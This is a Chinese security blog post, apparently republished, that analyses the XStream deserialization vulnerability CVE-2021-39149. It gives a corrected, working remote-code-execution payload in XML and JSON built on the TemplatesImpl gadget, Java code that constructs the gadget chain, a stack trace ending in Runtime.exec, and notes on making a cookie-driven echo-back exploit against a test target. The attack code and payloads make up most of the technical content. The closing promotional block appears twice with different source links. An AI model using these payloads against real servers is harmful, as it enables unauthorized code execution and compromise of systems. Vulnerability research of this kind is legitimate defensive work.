Xstream反序列化分析(CVE-2021-39149)
2024-1-4 12:2:31 Author: 白帽子左一(查看原文) 阅读量:11 收藏

扫码领资料

获网安教程

前几个月XStream爆出一堆漏洞,这两天翻了翻,发现这波洞应该是黑名单绕过的最后一波了。因为在最新版的XStream 1.4.18中已经默认开启白名单的安全框架,按照XStream官方补漏洞的习惯,应该不会再接受新的绕过黑名单的漏洞了。

挑肥拣瘦

这波漏洞一共14个,基本上都是RCE的级别,先简单梳理一下。

CVE IDPoC
CVE-2021-39139RCE
CVE-2021-39140DoS
CVE-2021-39141JNDI Based RCE
CVE-2021-39144RCE
CVE-2021-39145JNDI Based RCE
CVE-2021-39146JNDI Based RCE
CVE-2021-39147JNDI Based RCE
CVE-2021-39148JNDI Based RCE
CVE-2021-39149RCE
CVE-2021-39150SSRF
CVE-2021-39151JNDI Based RCE
CVE-2021-39152SSRF
CVE-2021-39153RCE
CVE-2021-39154JNDI Based RCE

我是一个挑肥拣瘦的人,一向不怎么看基于JNDI这种需要出网的PoC。因为我认为出网就意味着限制,不仅是是否能够出网的限制,还有复杂网络环境导致的一系列变化多端的因素,所以这种限制就意味成功概率极大降低。所以目标范围缩小到CVE-2021-39139CVE-2021-39144CVE-2021-39149CVE-2021-39153。那就看看这四个洞的详细介绍吧,哪个限制最少就分析哪个。

CVE IDRestrictions
CVE-2021-39139JDK版本要在7u21及以下,很明显是用了7u21的洞转换的
CVE-2021-39144无限制
CVE-2021-39149无限制
CVE-2021-39153JDK版本限制在8到14且要求同时安装了JavaFX

具体看看无限制的两个洞的官方PoC都长什么样,39144看上去是直接可以调用到java.lang.Runtime,直接执行任意命令基本是没跑了,但这种情况大多数应该是盲打,或者还是利用出网的技巧。39149就非常给力了,一眼就看到了我们熟悉的老伙伴TemplatesImpl,这就意味着我们可能可以注入Java字节码实现任意类实例化,撺掇一下就可以实现回显攻击了,简直是扫描利器。所以基本目标定在了分析CVE-2021-39149这个漏洞。

值得一提的是那个限制了JDK版本为7u21及以下的洞也用到了TemplatesImpl,当然了,7u21本身确实也用到了TemplatesImpl,所以不值得什么大惊小怪。(不过我非要提这么一嘴,当然是要你注意这个地方,下文有呼应XD。)

跳坑

XStream官方是最令安全仔开心的官方,PoC都明晃晃地放在官网上,都不用费力气去diff补丁(或者偷别人的payload)。那么接下来就是基本操作了

import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;

public class xstreamDeser {
public static void main(String[] args) throws Exception {
XStream xstream = new XStream();
FileInputStream xml = new FileInputStream("src/main/java/xstream/xstream.xml");
xstream.fromXML(xml);
}
}

test.xml里面Ctrl+V上官方的payload,然后就发现出问题了。

怎么红了吧唧的报错,看到最后一个标签都串位了感觉应该是哪个标签写错了导致的。挨个排查发现在Line 17,proxy标签不应该自闭合,因为它对应的闭合标签在Line 29。所以去掉最后的斜杠变成如下这样,然后重新粘贴一下报错就都没了。

<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>

接着我们就运行一下,基本上来说XStream官方提供的直接RCE的payload都是弹Windows上的计算器,也就是执行calc.exe命令。但是运行后,迎来了第二个报错。

这个地方属实有点奇怪,我实际在这里卡了将近一天的时间,在很多地方下了断点跟踪分析,基本上定位到了问题可能是出在proxy标签以内,也就是TemplatesImpl类的实例化位置,但仍然就是找不出来根本问题在哪里。在卡了很久以后,我转战了CVE-2021-39139,因为这也是同样用到了TemplatesImpl类,觉得可能在这或许可以找到突破口。然后同样基本操作了一遍,居然报了一样的错误。不过确实,在对比了两个payload在TemplatesImpl位置的代码,除了字节码的Base64编码不太一样,其他都一样。

但是这边有个很不一样的点,就是_bytecode标签里面塞入了两段byte-array标签,且这两个payload对应的第二段byte-array标签里面内容一模一样。我拿去base64解码了一下,有一些ysoserial的关键字,其他得不到任何有用的信息。于是我拿着第二段的base64编码值去Google了一下。发现在一个讲解泛微之前爆出的XStream漏洞的payload中出现了一模一样的base64编码值,也同样处在了TemplatesImpl这个类里面。但是我手头没有泛微的demo没法验证泛微那个payload是否有效。(其实后面复盘发现,这边是个蠢操作,我完全可以摘出泛微payload中XStream那部分拿到本地测试一下就行了)所以我接着看了一些关于如何生成泛微这个payload的相关文档,得知可以通过在引入ysoserial的包生成任意已有gadget的XStream形式的payload。生成代码是我抄的potats0发在p神的小密圈的code,如下:

package ysoserial.exploit;

import ysoserial.payloads.ObjectPayload;
import static ysoserial.payloads.ObjectPayload.Utils.makePayloadObject;

public class XStream {
public static void main(String[] args) {
if (args.length < 2) {
System.out.println("exit");
}
final Object payloadObject = makePayloadObject(args[0], args[1]);
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
String result = xs.toXML(payloadObject);
System.out.println(result);
ObjectPayload.Utils.releasePayload(args[0], payloadObject);
}
}

于是我找了一个利用了TemplatesImpl的gadget(例如CommonsBeanutils1)生成了一个XML然后粘贴到xtream.xml中执行一遍(当然一定是先引入了漏洞版本的CommonsBeanutils1),发现执行成功了。比对一下payload发现,CVE-2021-39149CVE-2021-39144的payload都同时少了如下一行,位置应该是处于TemplatesImpl类中的default闭合标签下一行。

<boolean>false</boolean>

所以CVE-2021-39149的完整的正确的payload应该如下(TemplatesImpl类的byte-array第一部分已省略):

<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAA......</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>

另外CVE-2021-39144的payload其实就是ysoserialJdk7u21的payload直接生成的,这个用来刷洞真方便。

正儿八经的分析

XStream的分析,其实就是两个部分,一个是针对XStream如何把XML转换到Java Object的过程的分析,另一个就是Java Object的构造分析。很多的文章写的时候就是ProcessBuilder#start断点一打,debug一跑,一行一行代码走下来,很没劲,简直就是事后诸葛亮的行为。在分析XStream的漏洞的时候如果对着payload执行debug一遍,那么如何发现新的类似的漏洞,那些XML该怎么构造出来?很明显,通过上文的分析,我认为正确的正向分析应该先用Java代码构造出一个序列化的object然后,用XStream#toXML把生成的Java序列化对象转化成XML最后形成真正的payload。

这里基本上和构造一个Java原生序列化对象一样,通过构造器的层层相套最后发给后端服务器,然后服务器再一层层反序列化读到最里层的危险代码。所以完整的序列化对象的构造链应该如下:

java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

关键的触发其实也很简单,就是在NullProvider的构造器部分,它的probes属性是HashMap类型的,关键的危险代码放在value部分,那么自然就和大多数ysoserial中的gadget一样就用hashcode()这个函数进行触发了。

按部就班构造序列化数据的Java代码就很简单了,如下:

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.SunUnsafeReflectionProvider;
import sun.misc.Unsafe;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;

public class xstream39149 {

private static Unsafe instaniateUnsafe() throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}

private static void setField(String fieldName, Object defineObj, Object value) throws Exception {
SunUnsafeReflectionProvider reflectionProvider = new SunUnsafeReflectionProvider();
Field field = reflectionProvider.getFieldOrNull(defineObj.getClass(), fieldName);
reflectionProvider.writeField(defineObj, fieldName, value, field.getDeclaringClass());
}

public static void main(String[] args) throws Exception {
Object templates = Gadgets.createTemplatesImpl("calc");

Object dTraceProbe = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Method method_getOutputProperties = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredMethod("getOutputProperties");
setField("proxy", dTraceProbe, templates);
setField("implementing_method", dTraceProbe, method_getOutputProperties);

HashMap map = new HashMap();
Method method_hashcode = Class.forName("java.lang.Object").getDeclaredMethod("hashCode");
map.put(method_hashcode, dTraceProbe);

Object nullProvider = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider"));
setField("active", nullProvider, true);
setField("providerType", nullProvider, Class.forName("java.lang.Object"));
setField("probes", nullProvider, map);

InvocationHandler handler = (InvocationHandler) instaniateUnsafe().allocateInstance(Class.forName("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"));
Object proxy = Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new HashMap().getClass().getInterfaces(),
handler);

Reflections.setFieldValue(handler, "classToInvocationHandler", new LinkedHashMap());
Reflections.setFieldValue(handler, "defaultHandler", nullProvider);

LinkedHashSet set = new LinkedHashSet();
set.add(proxy);
}
}

那么如何生成最终的XML payload,因为在执行到set.add(proxy)这行代码时,程序会抛出异常然后不再往下执行,所以如果将toXml()函数放在这行代码下面是压根不会执行的。我用的方法比较弱智,就是利用toXml()分别输出proxy对象和set对象的XML形式数据,然后手动拼接一下。

// set.add(proxy);
set.add(new Object()); // 这行代码是为了观察在linked-hash-set标签中数据是怎样储存的,然后替换成真实的payload中的proxy对应的XML数据
XStream xstream = new XStream();
System.out.println(xStream.toXML(set));
System.out.println(xStream.toXML(proxy));

正向数据的构造分析完成了,现在就可以大概看一下stack trace到底是什么样子的,这样方便以后再分析时好理解整个触发过程。从整个的堆栈信息可以看得出来,hashcode()确实是关键触发TemplateImpl对象的关键函数。

start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
<clinit>:-1, Pwner633505606593 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
invoke:82, CompositeInvocationHandlerImpl (com.sun.corba.se.spi.orbutil.proxy)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
add:219, HashSet (java.util)
addCurrentElementToCollection:99, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:91, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:85, CollectionConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:80, CollectionConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1282, XStream (com.thoughtworks.xstream)
main:15, xstreamTest (Deser)

JSON反序列化

心细的朋友可以发现几乎所有的XStream的官方通告中都少不了如下的一句话。

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

看了一下XStream的介绍文档,我也没看到除了JSON以外别的supported format,这里我可能错了,有误请帮忙指出。接下来找一下JSON的序列化和反序列化的代码怎么写,根据伟大的CSDN程序员的总结,我们可以得知:

XStream针对JSON格式的数据的处理有两个driver可以提供支持,分别是JsonHierarchicalStreamDriverJettisonMappedXmlDriver


Serialization (Java Object -> JSON)Deserialization (JSON -> Java Object)
JsonHierarchicalStreamDriver×
JettisonMappedXmlDriver

所以这里只需要看一下JettisonMappedXmlDriver对应的代码怎么写就行。但这里有个小坑,刚开始我用官方的代码和网上的教程都出现ClassNotFoundException的报错,这里是因为需要加一下jettison的依赖。

<dependency>
<groupId>org.codehaus.jettison</groupId>
<artifactId>jettison</artifactId>
<version>1.1</version>
</dependency>

然后就是粗暴地抄一下官方的教程代码。

XStream xstream = new XStream(new JettisonMappedXmlDriver());
System.out.println(xstream.toXML(proxy));
System.out.println(xstream.toXML(set)); // 这里和之前输出XML格式的payload一样,我也是通过手动拼接。
System.out.println(xstream.fromXML(json));

JSON格式的payload就出来了,执行一下,计算器弹得非常顺畅(TemplatesImpl类的byte-array第一部分已省略)。

{"linked-hash-set":{"dynamic-proxy":{"interface":["map","java.lang.Cloneable","java.io.Serializable"],"handler":{"@class":"com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl","classToInvocationHandler":{"@class":"linked-hash-map"},"defaultHandler":{"@class":"sun.tracing.NullProvider","active":true,"providerType":"java.lang.Object","probes":{"entry":{"method":{"class":"java.lang.Object","name":"hashCode","parameter-types":""},"sun.tracing.dtrace.DTraceProbe":{"proxy":{"@class":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","@serialization":"custom","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":{"default":{"_name":"Pwnr","_bytecodes":{"byte-array":["yv66vgAA......","yv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAQQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ"]},"_transletIndex":-1,"_indentNumber":0},"boolean":false}},"implementing_method":{"class":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","name":"getOutputProperties","parameter-types":""}}}}}}}}}

回显构造

靶机就借p师傅的vulhub中的XStream靶机,把xstream-sample.jar拖出来改一改,加上支持JSON的接口,修改部分的代码如下。

@RestController
public class HelloController {
public HelloController() {
}

@GetMapping({"/"})
public String hello() {
return "hello, input your information please.";
}

@PostMapping({"/xml"})
public String readxml(@RequestBody String data) {
XStream xs = new XStream();
xs.processAnnotations(User.class);
User user = (User)xs.fromXML(data);
return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old.";
}

@PostMapping({"/json"})
public String readjson(@RequestBody String data) {
XStream xs = new XStream(new JettisonMappedXmlDriver());
xs.processAnnotations(User.class);
User user = (User)xs.fromXML(data);
return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old.";
}
}

回显代码改了改fnmsd师傅的回显Java类(膜),然后构造成TemplatesImpl对象。主要修改的部分有两个地方,一个是删掉了如下代码,因为这部分代码获取的response对象并不是通过我们发出去request对象来获取的(request.getResponse()),所以如果代码走到这个condition当中,会出现把回显的数据写到别的response对象中。

else if(p == null && hsp.isAssignableFrom(o.getClass())){
p = o;
}

第二,为了精确匹配对应的request对象,将输入命令部分从自定义HTTP头字段移入了Cookie字段,这个做法的目的是为了防止在传入数据包的时候经过一些代理设备,这些设备可能会移除一些在它看来无用的HTTP头字段,只留下必要的头字段,已知的一定不会被移除的字段包含了Cookie字段和Host字段,所以写入Cookie应该是最方便的,也是最好读取的。

同时在写入response对象的时候,我修改代码使其可以同时写入body以及Set-Cookie字段,这里不是写入自定义字段的理由和上面说的目的一样。同时写入两个地方也是为了避免一些可能出现的错误和问题。

这里只是简单测试一下回显是否可以成功,我就移除了java.lang.Runtime执行代码部分,直接写入unique string证明代码执行无误即可。

Reference

https://x-stream.github.io/security.html

https://blog.csdn.net/fnmsd/article/details/106709736

https://gist.github.com/fnmsd/2fd47012849f25eb53d703f283679462

https://vulhub.org/#/environments/xstream/CVE-2021-21351/

来源:https://xz.aliyun.com/t/12999

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧
来源:https://xz.aliyun.com/t/10360

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247604493&idx=1&sn=5d74f8c44c19cb478ec5edcb05f21bdf&chksm=ea7c4b923a9e48613ea5e67b3821d53b249d78438e7b939472e15ebe3a6e8e4badf6f03dd26b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh